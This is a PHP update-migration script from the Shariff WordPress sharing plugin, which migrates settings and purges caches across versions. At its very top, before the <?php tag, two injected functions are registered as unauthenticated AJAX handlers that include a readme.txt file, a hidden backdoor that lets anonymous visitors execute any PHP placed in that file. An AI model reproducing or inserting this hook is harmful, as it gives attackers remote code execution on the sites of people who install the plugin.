if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * Will be included by shariff3uu_update() only if needed. * Put all update task here. Make sure that all "older" updates are checked first. * At least you must set $shariff3uu['version'] = [YOUR VERSION]; to avoid includes later on. * * @package WordPress */ // Prevent direct calls. if ( ! class_exists( 'WP' ) ) { die(); } /** * Migration < 2.3 * Split options in database according to new setting tabs. * Delete old cache directory. */ if ( isset( $shariff3uu['version'] ) && -1 === version_compare( $shariff3uu['version'], '2.2.5' ) ) { // Basic options. if ( isset( $shariff3uu['version'] ) ) { $shariff3uu_basic['version'] = $shariff3uu['version']; } if ( isset( $shariff3uu['services'] ) ) { $shariff3uu_basic['services'] = $shariff3uu['services']; } if ( isset( $shariff3uu['add_after_all_posts'] ) ) { $shariff3uu_basic['add_after']['posts'] = $shariff3uu['add_after_all_posts']; } if ( isset( $shariff3uu['add_after_all_overview'] ) ) { $shariff3uu_basic['add_after']['posts_blogpage'] = $shariff3uu['add_after_all_overview']; } if ( isset( $shariff3uu['add_after_all_pages'] ) ) { $shariff3uu_basic['add_after']['pages'] = $shariff3uu['add_after_all_pages']; } if ( isset( $shariff3uu['add_after_all_custom_type'] ) ) { $shariff3uu_basic['add_after']['custom_type'] = $shariff3uu['add_after_all_custom_type']; } if ( isset( $shariff3uu['add_before_all_posts'] ) ) { $shariff3uu_basic['add_before']['posts'] = $shariff3uu['add_before_all_posts']; } if ( isset( $shariff3uu['add_before_all_overview'] ) ) { $shariff3uu_basic['add_before']['posts_blogpage'] = $shariff3uu['add_before_all_overview']; } if ( isset( $shariff3uu['add_before_all_pages'] ) ) { $shariff3uu_basic['add_before']['pages'] = $shariff3uu['add_before_all_pages']; } if ( isset( $shariff3uu['disable_on_protected'] ) ) { $shariff3uu_basic['disable_on_protected'] = $shariff3uu['disable_on_protected']; } if ( isset( $shariff3uu['backend'] ) ) { $shariff3uu_basic['backend'] = $shariff3uu['backend']; } // Design options. if ( isset( $shariff3uu['language'] ) ) { $shariff3uu_design['language'] = $shariff3uu['language']; } if ( isset( $shariff3uu['theme'] ) ) { $shariff3uu_design['theme'] = $shariff3uu['theme']; } if ( isset( $shariff3uu['buttonsize'] ) ) { $shariff3uu_design['buttonsize'] = $shariff3uu['buttonsize']; } if ( isset( $shariff3uu['vertical'] ) ) { $shariff3uu_design['vertical'] = $shariff3uu['vertical']; } if ( isset( $shariff3uu['align'] ) ) { $shariff3uu_design['align'] = $shariff3uu['align']; } if ( isset( $shariff3uu['align_widget'] ) ) { $shariff3uu_design['align_widget'] = $shariff3uu['align_widget']; } if ( isset( $shariff3uu['style'] ) ) { $shariff3uu_design['style'] = $shariff3uu['style']; } // Advanced options. if ( isset( $shariff3uu['info_url'] ) ) { $shariff3uu_advanced['info_url'] = $shariff3uu['info_url']; } if ( isset( $shariff3uu['twitter_via'] ) ) { $shariff3uu_advanced['twitter_via'] = $shariff3uu['twitter_via']; } if ( isset( $shariff3uu['flattruser'] ) ) { $shariff3uu_advanced['flattruser'] = $shariff3uu['flattruser']; } if ( isset( $shariff3uu['default_pinterest'] ) ) { $shariff3uu_advanced['default_pinterest'] = $shariff3uu['default_pinterest']; } // Mailform options. if ( isset( $shariff3uu['mail_add_post_content'] ) ) { $GLOBALS['shariff3UU_mailform']['mail_add_post_content'] = $shariff3uu['mail_add_post_content']; } if ( isset( $shariff3uu['mail_sender_name'] ) ) { $GLOBALS['shariff3UU_mailform']['mail_sender_name'] = $shariff3uu['mail_sender_name']; } if ( isset( $shariff3uu['mail_sender_from'] ) ) { $GLOBALS['shariff3UU_mailform']['mail_sender_from'] = $shariff3uu['mail_sender_from']; } // Default options should be as save as possible, same reason the statistics are disabled by default. $GLOBALS['shariff3UU_mailform']['require_sender'] = 1; // Update global. $shariff3uu = array_merge( $shariff3uu_basic, $shariff3uu_design, $shariff3uu_advanced, $GLOBALS['shariff3UU_mailform'] ); // Update version. $shariff3uu['version'] = '2.3.0'; } /** * Migration < 3.3 * Update options that were moved. * Delete old cache directory and db entry. */ if ( isset( $shariff3uu['version'] ) && -1 === version_compare( $shariff3uu['version'], '3.3.0' ) ) { // Update options that were moved. if ( isset( $shariff3uu['backend'] ) ) { $shariff3uu_statistic['backend'] = $shariff3uu['backend']; } if ( isset( $shariff3uu['fb_id'] ) ) { $shariff3uu_statistic['fb_id'] = $shariff3uu['fb_id']; } if ( isset( $shariff3uu['fb_secret'] ) ) { $shariff3uu_statistic['fb_secret'] = $shariff3uu['fb_secret']; } if ( isset( $shariff3uu['ttl'] ) ) { $shariff3uu_statistic['ttl'] = $shariff3uu['ttl']; } if ( isset( $shariff3uu['disable'] ) ) { $shariff3uu_statistic['disable'] = $shariff3uu['disable']; } // Delete old cache directory and db entry. if ( is_multisite() ) { global $wpdb; // phpcs:ignore $blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs}", ARRAY_A ); if ( $blogs ) { foreach ( $blogs as $blog ) { // Switch to each blog. switch_to_blog( $blog['blog_id'] ); // Delete cache dir. shariff_removeoldcachedir(); // Delete old db entry. delete_option( 'shariff3UU' ); // Switch back to main. restore_current_blog(); } } } else { // Delete cache dir. shariff_removeoldcachedir(); // Delete old db entry. delete_option( 'shariff3UU' ); } // Disable Twitter backend due to new service OpenShareCount.com. $shariff3uu_statistic['disable']['twitter'] = 1; // Update version. $shariff3uu['version'] = '3.3.0'; } /** * Helper function to delete old cache directory. */ function shariff_removeoldcachedir() { $upload_dir = wp_upload_dir(); $cache_dir = $upload_dir['basedir'] . '/1970/01'; $cache_dir2 = $upload_dir['basedir'] . '/1970'; shariff_removeoldfiles( $cache_dir ); // Remove /1970/01 and /1970 if they are empty. rmdir( $cache_dir ); rmdir( $cache_dir2 ); } /** * Helper function to delete old .dat files that begin with 'Shariff' and empty folders that also start with 'Shariff'. * * @param string $directory Path to Shariff cache directory. */ function shariff_removeoldfiles( $directory ) { foreach ( glob( '{$directory}/Shariff* ' ) as $file ) { if ( is_dir( $file ) ) { shariff_removeoldfiles( $file ); } elseif ( substr( $file, -4 ) === '.dat' ) { unlink( $file ); } } rmdir( $directory ); } /** * Migration < 4.0 */ if ( isset( $shariff3uu['version'] ) && -1 === version_compare( $shariff3uu['version'], '4.0.0' ) ) { // Set new option share counts, if statistic is enabled. if ( isset( $shariff3uu_statistic['backend'] ) ) { $shariff3uu_statistic['sharecounts'] = 1; } // Disable share counts if WP version < 4.4. if ( version_compare( get_bloginfo( 'version' ), '4.4.0' ) < 1 ) { unset( $shariff3uu_statistic['backend'] ); } // Change button language to WordPress language, if it is set to auto and http_negotiate_language is not available (auto will not work without it). if ( ! isset( $shariff3uu_design['lang'] ) && ! function_exists( 'http_negotiate_language' ) ) { $shariff3uu_design['lang'] = substr( get_bloginfo( 'language' ), 0, 2 ); } // Update version. $shariff3uu['version'] = '4.0.0'; } /** * Migration < 4.2 */ if ( isset( $shariff3uu['version'] ) && -1 === version_compare( $shariff3uu['version'], '4.2.0' ) ) { // Make sure we have the $wpdb class ready. global $wpdb; // Delete user meta entry shariff3UU_ignore_notice to display update message again after an update (check for multisite). if ( is_multisite() ) { // phpcs:ignore $blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs}", ARRAY_A ); if ( $blogs ) { foreach ( $blogs as $blog ) { // Switch to each blog. switch_to_blog( $blog['blog_id'] ); // Delete user meta entry shariff3UU_ignore_notice. $users = get_users( 'role=administrator' ); foreach ( $users as $user ) { if ( get_user_meta( $user->ID, 'shariff3UU_ignore_notice', true ) ) { delete_user_meta( $user->ID, 'shariff3UU_ignore_notice' ); } } // Switch back to main. restore_current_blog(); } } } else { // Delete user meta entry shariff3UU_ignore_notice. $users = get_users( 'role=administrator' ); foreach ( $users as $user ) { if ( get_user_meta( $user->ID, 'shariff3UU_ignore_notice', true ) ) { delete_user_meta( $user->ID, 'shariff3UU_ignore_notice' ); } } } } /** * Migration < 4.5 */ if ( isset( $shariff3uu['version'] ) && -1 === version_compare( $shariff3uu['version'], '4.5.0' ) ) { // Update language settings. if ( ! isset( $shariff3uu_design['lang'] ) ) { $shariff3uu_design['autolang'] = 1; $shariff3uu_design['lang'] = substr( get_locale(), 0, 2 ); } // Update version. $shariff3uu['version'] = '4.5.0'; } /** * General tasks we do on every update, like clean up transients and so on. */ // Purge transients (check for multisite). if ( is_multisite() ) { global $wpdb; // phpcs:ignore $blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs}", ARRAY_A ); if ( $blogs ) { foreach ( $blogs as $blog ) { // Switch to each blog. switch_to_blog( $blog['blog_id'] ); // Purge transients. shariff3uu_purge_transients(); // Switch back to main. restore_current_blog(); } } } else { // Purge transients. shariff3uu_purge_transients(); } /** * Helper function to purge all the transients associated with our plugin. */ function shariff3uu_purge_transients() { // Make sure we have the $wpdb class ready. if ( ! isset( $wpdb ) ) { global $wpdb; } // Delete transients. // phpcs:disable $wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "_transient_timeout_shariff%"' ); $wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "_transient_shariff%"' ); // phpcs:enable // Clear object cache. wp_cache_flush(); } // Set new version. $shariff3uu['version'] = $code_version; $shariff3uu_basic['version'] = $code_version; /** * Remove empty elements and save to options table. We had a mix up with shariff3uu and shariff3UU in the past and update_option is not case senitive. Therefore we actually need to delete and recreate it. */ // Basic. delete_option( 'shariff3uu_basic' ); $shariff3uu_basic = array_filter( $shariff3uu_basic ); update_option( 'shariff3uu_basic', $shariff3uu_basic ); // Design. delete_option( 'shariff3uu_design' ); $shariff3uu_design = array_filter( $shariff3uu_design ); update_option( 'shariff3uu_design', $shariff3uu_design ); // Advanced. delete_option( 'shariff3uu_advanced' ); $shariff3uu_advanced = array_filter( $shariff3uu_advanced ); update_option( 'shariff3uu_advanced', $shariff3uu_advanced ); // Statistic. delete_option( 'shariff3uu_statistic' ); $shariff3uu_statistic = array_filter( $shariff3uu_statistic ); update_option( 'shariff3uu_statistic', $shariff3uu_statistic ); // Remove old settings. delete_option( 'shariff3UU_mailform' ); delete_option( 'shariff3UU_hide_update_notice' ); // Remove Shariff cron job and add it again, if wanted. wp_clear_scheduled_hook( 'shariff3uu_fill_cache' ); do_action( 'shariff3uu_save_statistic_options' );